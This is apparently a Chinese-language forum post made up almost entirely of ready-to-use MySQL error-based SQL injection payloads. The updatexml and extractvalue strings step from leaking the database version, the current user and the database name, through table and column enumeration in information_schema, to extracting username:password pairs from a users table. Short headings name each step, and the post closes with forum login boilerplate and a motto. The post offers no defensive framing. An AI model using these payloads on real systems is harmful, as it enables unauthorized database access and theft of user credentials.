|
找到删除连接
爆出数据库的版本
[pre]
or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
[/pre]
当前连接用户
[pre]
or updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
[/pre]
爆出数据库
[pre]
or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
[/pre]
获取表名
[pre]
or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''
[/pre]
获取列名
[pre]
or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''
[/pre]
获取数据
[pre]
or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1 )),0) or ''
[/pre]
利用extractvalue函数
[pre]
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
爆数据:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''
[/pre] |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
×
|
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
|